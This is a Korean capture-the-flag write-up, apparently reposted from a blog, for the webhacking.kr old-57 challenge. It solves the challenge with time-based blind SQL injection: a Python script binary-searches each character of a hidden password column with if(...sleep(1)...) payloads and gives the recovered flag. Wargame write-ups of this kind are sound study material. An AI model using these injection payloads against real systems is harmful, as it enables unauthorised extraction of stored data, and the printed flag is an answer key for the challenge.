webhacking.kr old-57 write-up
문제 첫 화면이다. 비밀 메세지를 보내는거같다. 아무거나 입력하고 제출하니 Done이 출력된다. 소스코드를 살펴보자.
msg, se를 받아서 insert절을 수행한다. 그런데 문제는 insert만 있다는것이다. 입력한 데이터를 열어볼수 있는 방법이 없다. 즉, 입력만으로 저 $flag값을 알아내야한다. 여기서 if와 sleep을 사용해야겠다라는 생각을 떠올려내야한다. 필터링에 benchmark가 있는걸로 힌트를 준듯 하다. 친절하게 get['se']에는 single quote가 씌여있지 않다. 여기에 if를 사용하면 된다. flag가 pw column에 있으므로 pw의 length 부터 알아내자.
database = ''
for j in range(24):
start = 40
end = 129
mid = 0
while (start<=end):
mid = int((start+end)/2)
print('start : {}, mid : {}, end : {}.'.format(start,mid,end))
before = time.time()
url = "https://webhacking.kr/challenge/web-34/index.php?msg=asdf&se=if(ascii(substr(pw,{},1))={},sleep(1),0)".format(j+1,mid)
res=requests.get(url)
after = time.time()
if after-before >= 1:
database += chr(mid)
print('find! {}'.format(database))
break
url = "https://webhacking.kr/challenge/web-34/index.php?msg=asdf&se=if(ascii(substr(pw,{},1))>{},sleep(1),0)".format(j+1,mid)
before = time.time()
res=requests.get(url)
after = time.time()
if after-before >= 1:
start = mid+1
else:
end = mid-1
이진탐색으로 구현해서 다른 write-up에 있는 코드보다 빠르게 작동할 것이다. 결과값은 FLAG{y2u.be/kmPgjr0EL64} auth창에 입력해주면
solved!
굉장히 좋은 문제인듯하다.
Author And Source
이 문제에 관하여(webhacking.kr old-57 write-up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@whtmdgus56/webhacking.kr-old-57-write-up저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)